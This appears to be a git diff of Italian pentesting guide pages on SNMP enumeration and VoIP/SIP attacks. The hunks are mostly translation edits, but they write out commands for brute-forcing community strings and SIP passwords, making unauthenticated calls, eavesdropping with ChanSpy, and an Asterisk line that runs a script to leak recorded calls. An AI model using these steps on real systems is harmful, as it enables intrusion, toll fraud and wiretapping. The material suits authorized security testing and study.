I file MIB sono scritti nel formato di testo ASCII basato su `Abstract Syntax Notation One` (`ASN.1`). I **MIB non contengono dati**, ma spiegano **dove trovare quali informazioni** e come appaiono, quali valori restituiscono per l'OID specifico o quale tipo di dato viene utilizzato.
|
||||
|
||||
### OIDs
|
||||
|
||||
**Object Identifiers (OIDs)** svolgono un ruolo cruciale. Questi identificatori unici sono progettati per gestire oggetti all'interno di una **Management Information Base (MIB)**.
|
||||
**Object Identifiers (OIDs)** svolgono un ruolo cruciale. Questi identificatori unici sono progettati per gestire oggetti all'interno di un **Management Information Base (MIB)**.
|
||||
|
||||
I livelli più alti degli ID oggetto MIB, o OIDs, sono assegnati a diverse organizzazioni di standardizzazione. È all'interno di questi livelli superiori che viene stabilito il quadro per le pratiche e gli standard di gestione globali.
|
||||
|
||||
@ -28,7 +29,7 @@ Inoltre, ai fornitori è concessa la libertà di stabilire rami privati. All'int
|
||||
.png>)
|
||||
|
||||
Puoi **navigare** attraverso un **albero OID** dal web qui: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) o **vedere cosa significa un OID** (come `1.3.6.1.2.1.1`) accedendo a [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Ci sono alcuni **OID ben noti** come quelli all'interno di [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) che fanno riferimento alle variabili del Simple Network Management Protocol (SNMP) definite da MIB-2. E dagli **OID in attesa di questo** puoi ottenere alcuni dati interessanti sull'host (dati di sistema, dati di rete, dati sui processi...)
|
||||
Ci sono alcuni **OID ben noti** come quelli all'interno di [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) che fanno riferimento alle variabili del Simple Network Management Protocol (SNMP) definite in MIB-2. E dagli **OID in attesa di questo** puoi ottenere alcuni dati interessanti sull'host (dati di sistema, dati di rete, dati sui processi...)
|
||||
|
||||
### **Esempio di OID**
|
||||
|
||||
@ -38,10 +39,10 @@ Ci sono alcuni **OID ben noti** come quelli all'interno di [1.3.6.1.2.1](http://
|
||||
|
||||
Ecco una suddivisione di questo indirizzo.
|
||||
|
||||
- 1 – questo è chiamato ISO e stabilisce che questo è un OID. Ecco perché tutti gli OID iniziano con "1"
|
||||
- 1 – questo è chiamato ISO e stabilisce che si tratta di un OID. Ecco perché tutti gli OID iniziano con "1"
|
||||
- 3 – questo è chiamato ORG e viene utilizzato per specificare l'organizzazione che ha costruito il dispositivo.
|
||||
- 6 – questo è il dod o il Dipartimento della Difesa, che è l'organizzazione che ha stabilito per prima Internet.
|
||||
- 1 – questo è il valore di Internet per denotare che tutte le comunicazioni avverranno attraverso Internet.
|
||||
- 1 – questo è il valore di internet per denotare che tutte le comunicazioni avverranno attraverso Internet.
|
||||
- 4 – questo valore determina che questo dispositivo è realizzato da un'organizzazione privata e non da una governativa.
|
||||
- 1 – questo valore denota che il dispositivo è realizzato da un'impresa o un'entità commerciale.
|
||||
|
||||
@ -67,21 +68,21 @@ Il resto dei valori fornisce informazioni specifiche sul dispositivo.
|
||||
|
||||
Ci sono 2 versioni importanti di SNMP:
|
||||
|
||||
- **SNMPv1**: La principale, è ancora la più frequente, l'**autenticazione si basa su una stringa** (community string) che viaggia in **testo chiaro** (tutte le informazioni viaggiano in testo chiaro). **Versione 2 e 2c** inviano il **traffico in testo chiaro** anche e utilizzano una **community string come autenticazione**.
|
||||
- **SNMPv1**: La principale, è ancora la più frequente, l'**autenticazione si basa su una stringa** (community string) che viaggia in **testo semplice** (tutte le informazioni viaggiano in testo semplice). **Versione 2 e 2c** inviano il **traffico in testo semplice** e utilizzano una **community string come autenticazione**.
|
||||
- **SNMPv3**: Utilizza una forma di **autenticazione** migliore e le informazioni viaggiano **crittografate** (un **attacco a dizionario** potrebbe essere eseguito ma sarebbe molto più difficile trovare le credenziali corrette rispetto a SNMPv1 e v2).
|
||||
|
||||
### Community Strings
|
||||
|
||||
Come accennato in precedenza, **per accedere alle informazioni salvate sulla MIB è necessario conoscere la community string nelle versioni 1 e 2/2c e le credenziali nella versione 3.**\
|
||||
Come accennato in precedenza, **per accedere alle informazioni salvate nel MIB è necessario conoscere la community string nelle versioni 1 e 2/2c e le credenziali nella versione 3.**\
|
||||
Ci sono **2 tipi di community strings**:
|
||||
|
||||
- **`public`** principalmente funzioni **solo lettura**
|
||||
- **`private`** **Lettura/Scrittura** in generale
|
||||
- **`public`** principalmente **funzioni di sola lettura**
|
||||
- **`private`** **Read/Write** in generale
|
||||
|
||||
Nota che **la scrivibilità di un OID dipende dalla community string utilizzata**, quindi **anche** se scopri che viene utilizzato "**public**", potresti essere in grado di **scrivere alcuni valori.** Inoltre, potrebbero **esistere** oggetti che sono **sempre "Solo Lettura".**\
|
||||
Se provi a **scrivere** un oggetto, si riceve un errore **`noSuchName` o `readOnly`**.\*\*.\*\*
|
||||
Nota che **la scrivibilità di un OID dipende dalla community string utilizzata**, quindi **anche** se scopri che viene utilizzato "**public**", potresti essere in grado di **scrivere alcuni valori.** Inoltre, potrebbero **esistere** oggetti che sono **sempre "Read Only".**\
|
||||
Se provi a **scrivere** un oggetto, si riceve un errore **`noSuchName` o `readOnly`**.
|
||||
|
||||
Nelle versioni 1 e 2/2c, se utilizzi una community string **errata**, il server non **risponderà**. Quindi, se risponde, è stata utilizzata una **community string valida**.
|
||||
Nelle versioni 1 e 2/2c, se utilizzi una **cattiva** community string, il server non **risponderà**. Quindi, se risponde, è stata utilizzata una **community string valida**.
|
||||
|
||||
## Porte
|
||||
|
||||
@ -93,7 +94,7 @@ Nelle versioni 1 e 2/2c, se utilizzi una community string **errata**, il server
|
||||
|
||||
## Brute-Force Community String (v1 e v2c)
|
||||
|
||||
Per **indovinare la community string** potresti eseguire un attacco a dizionario. Controlla [qui diversi modi per eseguire un attacco brute-force contro SNMP](../../generic-hacking/brute-force.md#snmp). Una community string frequentemente utilizzata è `public`.
|
||||
Per **indovinare la community string** puoi eseguire un attacco a dizionario. Controlla [qui diversi modi per eseguire un attacco brute-force contro SNMP](../../generic-hacking/brute-force.md#snmp). Una community string frequentemente utilizzata è `public`.
|
||||
|
||||
## Enumerare SNMP
|
||||
|
||||
@ -134,7 +135,7 @@ Nel campo della gestione della rete, alcune configurazioni e parametri sono fond
|
||||
|
||||
### Impostazioni di accesso
|
||||
|
||||
Due impostazioni principali abilitano l'accesso all'**albero OID completo**, che è un componente cruciale nella gestione della rete:
|
||||
Due impostazioni principali abilitano l'accesso all'**intero albero OID**, che è un componente cruciale nella gestione della rete:
|
||||
|
||||
1. **`rwuser noauth`** è impostato per consentire l'accesso completo all'albero OID senza la necessità di autenticazione. Questa impostazione è semplice e consente un accesso illimitato.
|
||||
2. Per un controllo più specifico, l'accesso può essere concesso utilizzando:
|
||||
@ -149,9 +150,9 @@ Una serie di **valori della Management Information Base (MIB)** sono utilizzati
|
||||
|
||||
- **Processi di sistema**: Accessibile tramite `1.3.6.1.2.1.25.1.6.0`, questo parametro consente il monitoraggio dei processi attivi all'interno del sistema.
|
||||
- **Programmi in esecuzione**: Il valore `1.3.6.1.2.1.25.4.2.1.2` è designato per tracciare i programmi attualmente in esecuzione.
|
||||
- **Percorso dei processi**: Per determinare da dove proviene un processo, viene utilizzato il valore MIB `1.3.6.1.2.1.25.4.2.1.4`.
|
||||
- **Percorso dei processi**: Per determinare da dove sta girando un processo, viene utilizzato il valore MIB `1.3.6.1.2.1.25.4.2.1.4`.
|
||||
- **Unità di archiviazione**: Il monitoraggio delle unità di archiviazione è facilitato da `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
- **Nome del software**: Per identificare il software installato su un sistema, viene impiegato `1.3.6.1.2.1.25.6.3.1.2`.
|
||||
- **Nome del software**: Per identificare il software installato su un sistema, si impiega `1.3.6.1.2.1.25.6.3.1.2`.
|
||||
- **Account utente**: Il valore `1.3.6.1.4.1.77.1.2.25` consente di tracciare gli account utente.
|
||||
- **Porte locali TCP**: Infine, `1.3.6.1.2.1.6.13.1.3` è designato per monitorare le porte locali TCP, fornendo informazioni sulle connessioni di rete attive.
|
||||
|
||||
@ -173,7 +174,7 @@ snmp-rce.md
|
||||
|
||||
## **SNMP Massivo**
|
||||
|
||||
[Braa](https://github.com/mteg/braa) è uno scanner SNMP di massa. L'uso previsto di un tale strumento è, ovviamente, effettuare query SNMP – ma a differenza di snmpwalk di net-snmp, è in grado di interrogare dozzine o centinaia di host simultaneamente, e in un unico processo. Pertanto, consuma pochissime risorse di sistema e esegue la scansione MOLTO velocemente.
|
||||
[Braa ](https://github.com/mteg/braa) è uno scanner SNMP di massa. L'uso previsto di un tale strumento è, ovviamente, effettuare query SNMP – ma a differenza di snmpwalk di net-snmp, è in grado di interrogare dozzine o centinaia di host simultaneamente, e in un unico processo. Pertanto, consuma pochissime risorse di sistema e esegue la scansione MOLTO velocemente.
|
||||
|
||||
Braa implementa il proprio stack SNMP, quindi non ha bisogno di librerie SNMP come net-snmp.
|
||||
|
||||
@ -193,13 +194,13 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
### **Identificare la Stringa Privata**
|
||||
|
||||
Un passaggio cruciale implica l'identificazione della **stringa della comunità privata** utilizzata dalle organizzazioni, in particolare sui router Cisco IOS. Questa stringa consente l'estrazione delle **configurazioni in esecuzione** dai router. L'identificazione si basa spesso sull'analisi dei dati SNMP Trap per la parola "trap" con un **comando grep**:
|
||||
Un passaggio cruciale implica l'identificazione della **stringa della comunità privata** utilizzata dalle organizzazioni, in particolare sui router Cisco IOS. Questa stringa consente l'estrazione delle **configurazioni in esecuzione** dai router. L'identificazione si basa spesso sull'analisi dei dati SNMP Trap per la parola "trap" con un **grep command**:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
### **Nome utente/Password**
|
||||
|
||||
I log memorizzati all'interno delle tabelle MIB vengono esaminati per **tentativi di accesso non riusciti**, che potrebbero accidentalmente includere password inserite come nomi utente. Parole chiave come _fail_, _failed_ o _login_ vengono cercate per trovare dati preziosi:
|
||||
I log memorizzati all'interno delle tabelle MIB vengono esaminati per **tentativi di accesso non riusciti**, che potrebbero includere accidentalmente password inserite come nomi utente. Parole chiave come _fail_, _failed_ o _login_ vengono cercate per trovare dati preziosi:
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
@ -209,7 +210,7 @@ Infine, per estrarre **indirizzi email** dai dati, viene utilizzato un **comando
|
||||
```bash
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||
```
|
||||
## Modificare i valori SNMP
|
||||
## Modifica dei valori SNMP
|
||||
|
||||
Puoi usare _**NetScanTools**_ per **modificare i valori**. Dovrai conoscere la **stringa privata** per farlo.
|
||||
|
||||
@ -217,7 +218,7 @@ Puoi usare _**NetScanTools**_ per **modificare i valori**. Dovrai conoscere la *
|
||||
|
||||
Se c'è un ACL che consente solo ad alcuni IP di interrogare il servizio SMNP, puoi spoofare uno di questi indirizzi all'interno del pacchetto UDP e sniffare il traffico.
|
||||
|
||||
## Esaminare i file di configurazione SNMP
|
||||
## Esamina i file di configurazione SNMP
|
||||
|
||||
- snmp.conf
|
||||
- snmpd.conf
|
||||
|
||||
@ -55,7 +55,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
||||
305 Use Proxy
|
||||
380 Alternative Service
|
||||
```
|
||||
**4xx—Risposte di errore del client**
|
||||
**4xx—Risposte di Errore del Client**
|
||||
```
|
||||
400 Bad Request
|
||||
401 Unauthorized
|
||||
@ -187,12 +187,12 @@ Qualsiasi altra enumerazione OSINT che aiuti a identificare il software VoIP in
|
||||
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
||||
```
|
||||
- **`svmap`** da SIPVicious (`sudo apt install sipvicious`): Localizzerà i servizi SIP nella rete indicata.
|
||||
- `svmap` è **facile da bloccare** perché utilizza l'User-Agent `friendly-scanner`, ma puoi modificare il codice in `/usr/share/sipvicious/sipvicious` e cambiarlo.
|
||||
- `svmap` è **facile da bloccare** perché utilizza l'User-Agent `friendly-scanner`, ma potresti modificare il codice in `/usr/share/sipvicious/sipvicious` e cambiarlo.
|
||||
```bash
|
||||
# Use --fp to fingerprint the services
|
||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||
```
|
||||
- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** La scansione SIPPTS è uno scanner molto veloce per i servizi SIP su UDP, TCP o TLS. Utilizza il multithreading e può scansionare ampie gamme di reti. Permette di indicare facilmente un intervallo di porte, scansionare sia TCP che UDP, utilizzare un altro metodo (per impostazione predefinita utilizzerà OPTIONS) e specificare un User-Agent diverso (e altro).
|
||||
- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** La scansione SIPPTS è uno scanner molto veloce per i servizi SIP su UDP, TCP o TLS. Utilizza il multithreading e può scansionare ampie gamme di reti. Consente di indicare facilmente un intervallo di porte, scansionare sia TCP che UDP, utilizzare un altro metodo (per impostazione predefinita utilizzerà OPTIONS) e specificare un User-Agent diverso (e altro).
|
||||
```bash
|
||||
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||
|
||||
@ -208,7 +208,7 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
|
||||
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
||||
```
|
||||
#### Enumerazione Aggiuntiva della Rete
|
||||
#### Enumerazione Rete Extra
|
||||
|
||||
Il PBX potrebbe anche esporre altri servizi di rete come:
|
||||
|
||||
@ -239,7 +239,7 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
||||
```
|
||||
### Enumerazione delle Estensioni
|
||||
|
||||
Le estensioni in un sistema PBX (Private Branch Exchange) si riferiscono agli **identificatori interni unici assegnati a singole** linee telefoniche, dispositivi o utenti all'interno di un'organizzazione o azienda. Le estensioni rendono possibile **instradare le chiamate all'interno dell'organizzazione in modo efficiente**, senza la necessità di numeri di telefono esterni individuali per ogni utente o dispositivo.
|
||||
Le estensioni in un sistema PBX (Private Branch Exchange) si riferiscono ai **identificatori interni unici assegnati a singole** linee telefoniche, dispositivi o utenti all'interno di un'organizzazione o azienda. Le estensioni rendono possibile **instradare le chiamate all'interno dell'organizzazione in modo efficiente**, senza la necessità di numeri di telefono esterni individuali per ogni utente o dispositivo.
|
||||
|
||||
- **`svwar`** da SIPVicious (`sudo apt install sipvicious`): `svwar` è uno scanner di linee di estensione SIP PBX gratuito. In concetto funziona in modo simile ai tradizionali wardialer **indovinando un intervallo di estensioni o un dato elenco di estensioni**.
|
||||
```bash
|
||||
@ -263,19 +263,19 @@ enumiax -v -m3 -M3 10.10.0.10
|
||||
|
||||
### Password Brute-Force - online
|
||||
|
||||
Avendo scoperto il **PBX** e alcuni **interni/nomi utente**, un Red Team potrebbe provare ad **autenticarsi tramite il metodo `REGISTER`** a un interno utilizzando un dizionario di password comuni per forzare l'autenticazione.
|
||||
Avendo scoperto il **PBX** e alcuni **estensioni/nomi utente**, un Red Team potrebbe provare ad **autenticarsi tramite il metodo `REGISTER`** a un'estensione utilizzando un dizionario di password comuni per forzare l'autenticazione.
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che un **nome utente** può essere lo stesso dell'interno, ma questa pratica può variare a seconda del sistema PBX, della sua configurazione e delle preferenze dell'organizzazione...
|
||||
> Nota che un **nome utente** può essere lo stesso dell'estensione, ma questa pratica può variare a seconda del sistema PBX, della sua configurazione e delle preferenze dell'organizzazione...
|
||||
>
|
||||
> Se il nome utente non è lo stesso dell'interno, dovrai **scoprire il nome utente da forzare**.
|
||||
> Se il nome utente non è lo stesso dell'estensione, dovrai **scoprire il nome utente da forzare**.
|
||||
|
||||
- **`svcrack`** da SIPVicious (`sudo apt install sipvicious`): SVCrack ti consente di decifrare la password per un nome utente/interno specifico su un PBX.
|
||||
- **`svcrack`** da SIPVicious (`sudo apt install sipvicious`): SVCrack ti consente di decifrare la password per un nome utente/estensione specifico su un PBX.
|
||||
```bash
|
||||
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
||||
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
||||
```
|
||||
- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack è un cracker di password remoto per i servizi SIP. Rcrack può testare le password per diversi utenti in diversi IP e intervalli di porte.
|
||||
- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack è un cracker di password remoto per i servizi SIP. Rcrack può testare le password per diversi utenti in diverse gamme di IP e porte.
|
||||
```bash
|
||||
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||
```
|
||||
@ -319,7 +319,7 @@ sippts tshark -f capture.pcap [-filter auth]
|
||||
#### Codici DTMF
|
||||
|
||||
**Non solo le credenziali SIP** possono essere trovate nel traffico di rete, è anche possibile trovare codici DTMF che vengono utilizzati, ad esempio, per accedere alla **voicemail**.\
|
||||
È possibile inviare questi codici nei **messaggi INFO SIP**, in **audio** o all'interno dei **pacchetti RTP**. Se i codici sono all'interno dei pacchetti RTP, puoi tagliare quella parte della conversazione e utilizzare lo strumento multimo per estrarli:
|
||||
È possibile inviare questi codici in **messaggi SIP INFO**, in **audio** o all'interno di **pacchetti RTP**. Se i codici sono all'interno dei pacchetti RTP, puoi tagliare quella parte della conversazione e utilizzare lo strumento multimo per estrarli:
|
||||
```bash
|
||||
multimon -a DTMF -t wac pin.wav
|
||||
```
|
||||
@ -330,7 +330,7 @@ In Asterisk è possibile consentire una connessione **da un indirizzo IP specifi
|
||||
host=10.10.10.10
|
||||
host=dynamic
|
||||
```
|
||||
Se viene specificato un indirizzo IP, l'host **non avrà bisogno di inviare richieste REGISTER** di tanto in tanto (nel pacchetto REGISTER viene inviato il tempo di vita, solitamente 30 minuti, il che significa che in un altro scenario il telefono dovrà registrarsi ogni 30 minuti). Tuttavia, dovrà avere porte aperte che consentano connessioni dal server VoIP per ricevere chiamate.
|
||||
Se viene specificato un indirizzo IP, l'host **non avrà bisogno di inviare richieste REGISTER** di tanto in tanto (nel pacchetto REGISTER viene inviato il tempo di vita, solitamente 30 minuti, il che significa che in un altro scenario il telefono dovrà registrarsi ogni 30 minuti). Tuttavia, dovrà avere porte aperte che consentono connessioni dal server VoIP per ricevere chiamate.
|
||||
|
||||
Per definire gli utenti, possono essere definiti come:
|
||||
|
||||
@ -345,18 +345,18 @@ Per definire gli utenti, possono essere definiti come:
|
||||
- **`insecure=port,invite`**: Entrambi.
|
||||
|
||||
> [!WARNING]
|
||||
> Quando viene utilizzato **`type=friend`**, il **valore** della variabile **host** **non verrà utilizzato**, quindi se un amministratore **configura male un SIP-trunk** utilizzando quel valore, **chiunque potrà connettersi ad esso**.
|
||||
> Quando viene utilizzato **`type=friend`**, il **valore** della variabile **host** **non verrà utilizzato**, quindi se un amministratore **misconfigura un SIP-trunk** utilizzando quel valore, **chiunque potrà connettersi ad esso**.
|
||||
>
|
||||
> Ad esempio, questa configurazione sarebbe vulnerabile:\
|
||||
> `host=10.10.10.10`\
|
||||
> `insecure=port,invite`\
|
||||
> `type=friend`
|
||||
|
||||
### Chiamate gratuite / Configurazioni errate del contesto Asterisk
|
||||
### Chiamate gratuite / Misconfigurazioni del contesto Asterisk
|
||||
|
||||
In Asterisk un **contesto** è un contenitore o sezione nominata nel piano di chiamata che **raggruppa insieme estensioni, azioni e regole correlate**. Il piano di chiamata è il componente centrale di un sistema Asterisk, poiché definisce **come vengono gestite e instradate le chiamate in entrata e in uscita**. I contesti vengono utilizzati per organizzare il piano di chiamata, gestire il controllo degli accessi e fornire separazione tra le diverse parti del sistema.
|
||||
|
||||
Ogni contesto è definito nel file di configurazione, tipicamente nel file **`extensions.conf`**. I contesti sono denotati da parentesi quadre, con il nome del contesto racchiuso all'interno. Ad esempio:
|
||||
Ogni contesto è definito nel file di configurazione, tipicamente nel file **`extensions.conf`**. I contesti sono denotati da parentesi quadre, con il nome del contesto racchiuso all'interno di esse. Ad esempio:
|
||||
```bash
|
||||
csharpCopy code[my_context]
|
||||
```
|
||||
@ -386,7 +386,7 @@ include => external
|
||||
> [!CAUTION]
|
||||
> Inoltre, per impostazione predefinita, il file **`sip.conf`** contiene **`allowguest=true`**, quindi **qualsiasi** attaccante senza **autenticazione** sarà in grado di chiamare qualsiasi altro numero.
|
||||
|
||||
- **`SIPPTS invite`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite verifica se un **server PBX ci consente di effettuare chiamate senza autenticazione**. Se il server SIP ha una configurazione errata, ci permetterà di effettuare chiamate a numeri esterni. Può anche permetterci di trasferire la chiamata a un secondo numero esterno.
|
||||
- **`SIPPTS invite`** da [**sippts**](https://github.com/Pepelux/sippts)**:** L'invito SIPPTS verifica se un **server PBX ci consente di effettuare chiamate senza autenticazione**. Se il server SIP ha una configurazione errata, ci permetterà di effettuare chiamate a numeri esterni. Può anche consentirci di trasferire la chiamata a un secondo numero esterno.
|
||||
|
||||
Ad esempio, se il tuo server Asterisk ha una cattiva configurazione del contesto, puoi accettare richieste INVITE senza autorizzazione. In questo caso, un attaccante può effettuare chiamate senza conoscere alcun utente/password.
|
||||
```bash
|
||||
@ -404,7 +404,7 @@ IVRS nei sistemi VoIP consiste tipicamente in:
|
||||
|
||||
1. **Messaggi vocali**: Messaggi audio preregistrati che guidano gli utenti attraverso le opzioni e le istruzioni del menu IVR.
|
||||
2. **DTMF** (Dual-Tone Multi-Frequency) signaling: Input a toni generati premendo i tasti del telefono, utilizzati per navigare nei menu IVR e fornire input.
|
||||
3. **Instradamento delle chiamate**: Direzionare le chiamate alla destinazione appropriata, come dipartimenti specifici, agenti o interni in base all'input dell'utente.
|
||||
3. **Instradamento delle chiamate**: Direzionare le chiamate alla destinazione appropriata, come specifici dipartimenti, agenti o interni in base all'input dell'utente.
|
||||
4. **Cattura dell'input dell'utente**: Raccolta di informazioni dai chiamanti, come numeri di conto, ID caso o qualsiasi altro dato rilevante.
|
||||
5. **Integrazione con sistemi esterni**: Collegare il sistema IVR a database o altri sistemi software per accedere o aggiornare informazioni, eseguire azioni o attivare eventi.
|
||||
|
||||
@ -418,16 +418,16 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
|
||||
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
||||
exten => 0,104,Dial(LOCAL/${numbers})
|
||||
```
|
||||
L'esempio precedente è un caso in cui all'utente viene chiesto di **premere 1 per chiamare** un dipartimento, **2 per chiamare** un altro, o **il numero completo** se lo conosce.\
|
||||
La vulnerabilità è il fatto che la **lunghezza dell'estensione indicata non viene controllata, quindi un utente potrebbe inserire il timeout di 5 secondi di un numero completo e verrà chiamato.**
|
||||
L'esempio precedente è un caso in cui all'utente viene chiesto di **premere 1 per chiamare** un dipartimento, **2 per chiamare** un altro, o **l'intero interno** se lo conosce.\
|
||||
La vulnerabilità è il fatto che la **lunghezza dell'interno indicato non viene controllata, quindi un utente potrebbe inserire il timeout di 5 secondi di un numero completo e verrà chiamato.**
|
||||
|
||||
### Extension Injection
|
||||
|
||||
Utilizzando un'estensione come:
|
||||
Utilizzando un interno come:
|
||||
```scss
|
||||
exten => _X.,1,Dial(SIP/${EXTEN})
|
||||
```
|
||||
Dove **`${EXTEN}`** è l'**estensione** che verrà chiamata, quando viene **introdotta l'ext 101** questo è ciò che accadrebbe:
|
||||
Dove **`${EXTEN}`** è l'**estensione** che verrà chiamata, quando **l'ext 101 viene introdotto** questo è ciò che accadrebbe:
|
||||
```scss
|
||||
exten => 101,1,Dial(SIP/101)
|
||||
```
|
||||
@ -439,7 +439,7 @@ Pertanto, una chiamata all'estensione **`101`** e **`123123123`** verrà inviata
|
||||
|
||||
## Vulnerabilità SIPDigestLeak
|
||||
|
||||
La vulnerabilità SIP Digest Leak è una vulnerabilità che colpisce un gran numero di telefoni SIP, inclusi sia telefoni IP hardware che software, così come adattatori telefonici (VoIP a analogico). La vulnerabilità consente **la fuoriuscita della risposta di autenticazione Digest**, che viene calcolata dalla password. Un **attacco offline alla password è quindi possibile** e può recuperare la maggior parte delle password basate sulla risposta alla sfida.
|
||||
La vulnerabilità SIP Digest Leak è una vulnerabilità che colpisce un gran numero di telefoni SIP, inclusi sia telefoni IP hardware che software, così come adattatori telefonici (VoIP a analogico). La vulnerabilità consente la **fuoriuscita della risposta di autenticazione Digest**, che viene calcolata dalla password. Un **attacco offline alla password è quindi possibile** e può recuperare la maggior parte delle password basate sulla risposta alla sfida.
|
||||
|
||||
**[Scenario di vulnerabilità da qui**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
@ -449,7 +449,7 @@ La vulnerabilità SIP Digest Leak è una vulnerabilità che colpisce un gran num
|
||||
4. Quando il telefono viene riattaccato, il **telefono della vittima invia un BYE all'attaccante**
|
||||
5. L'**attaccante emette una risposta 407** che **richiede autenticazione** e emette una sfida di autenticazione
|
||||
6. Il **telefono della vittima fornisce una risposta alla sfida di autenticazione** in un secondo BYE
|
||||
7. L'**attaccante può quindi emettere un attacco di forza bruta** sulla risposta alla sfida sul suo computer locale (o rete distribuita ecc.) e indovinare la password
|
||||
7. L'**attaccante può quindi eseguire un attacco di forza bruta** sulla risposta alla sfida sulla sua macchina locale (o rete distribuita ecc.) e indovinare la password
|
||||
|
||||
- **SIPPTS leak** da [**sippts**](https://github.com/Pepelux/sippts)**:** Il leak SIPPTS sfrutta la vulnerabilità SIP Digest Leak che colpisce un gran numero di telefoni SIP. L'output può essere salvato in formato SipCrack per essere forzato utilizzando SIPPTS dcrack o lo strumento SipCrack.
|
||||
```bash
|
||||
@ -487,7 +487,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
||||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
- Il profilo precedente consente a **QUALSIASI indirizzo IP di connettersi** (se la password è nota).
|
||||
- Per **organizzare una chiamata**, come specificato in precedenza, **non sono necessarie autorizzazioni di lettura** e **solo** **l'origine** in **scrittura** è necessaria.
|
||||
- Per **organizzare una chiamata**, come specificato in precedenza, **non sono necessarie autorizzazioni di lettura** e **solo** **originate** in **scrittura** è necessario.
|
||||
|
||||
Con queste autorizzazioni, qualsiasi IP che conosce la password potrebbe connettersi ed estrarre troppe informazioni, come:
|
||||
```bash
|
||||
@ -498,9 +498,9 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
||||
|
||||
### **Intercettazione**
|
||||
|
||||
In Asterisk è possibile utilizzare il comando **`ChanSpy`** indicando le **estensioni da monitorare** (o tutte) per ascoltare le conversazioni in corso. Questo comando deve essere assegnato a un'estensione.
|
||||
In Asterisk è possibile utilizzare il comando **`ChanSpy`** indicando l'**estensione(i) da monitorare** (o tutte) per ascoltare le conversazioni che stanno avvenendo. Questo comando deve essere assegnato a un'estensione.
|
||||
|
||||
Ad esempio, **`exten => 333,1,ChanSpy('all',qb)`** indica che se **chiami** l'**estensione 333**, essa **monitorerà** **`tutte`** le estensioni, **inizierà ad ascoltare** ogni volta che inizia una nuova conversazione (**`b`**) in modalità silenziosa (**`q`**) poiché non vogliamo interagire. Puoi passare da una conversazione all'altra premendo **`*`**, o componendo il numero dell'estensione.
|
||||
Ad esempio, **`exten => 333,1,ChanSpy('all',qb)`** indica che se **chiami** l'**estensione 333**, essa **monitorerà** **`tutte`** le estensioni, **inizierà ad ascoltare** ogni volta che inizia una nuova conversazione (**`b`**) in modalità silenziosa (**`q`**) poiché non vogliamo interagire. Puoi passare da una conversazione all'altra premendo **`*`**, o digitando il numero dell'estensione.
|
||||
|
||||
È anche possibile utilizzare **`ExtenSpy`** per monitorare solo un'estensione.
|
||||
|
||||
@ -512,7 +512,7 @@ exten => _X.,2,MixMonitor(${NAME})
|
||||
```
|
||||
Le chiamate saranno salvate in **`/tmp`**.
|
||||
|
||||
Potresti anche far sì che Asterisk **esegua uno script che farà trapelare la chiamata** quando viene chiusa.
|
||||
Potresti anche far sì che Asterisk **esegua uno script che farà trapelare la chiamata** quando è chiusa.
|
||||
```scss
|
||||
exten => h,1,System(/tmp/leak_conv.sh &)
|
||||
```
|
||||
@ -520,9 +520,9 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
||||
|
||||
**RTCPBleed** è un grave problema di sicurezza che colpisce i server VoIP basati su Asterisk (pubblicato nel 2017). La vulnerabilità consente al **traffico RTP (Real Time Protocol)**, che trasporta le conversazioni VoIP, di essere **intercettato e reindirizzato da chiunque su Internet**. Questo avviene perché il traffico RTP bypassa l'autenticazione quando naviga attraverso i firewall NAT (Network Address Translation).
|
||||
|
||||
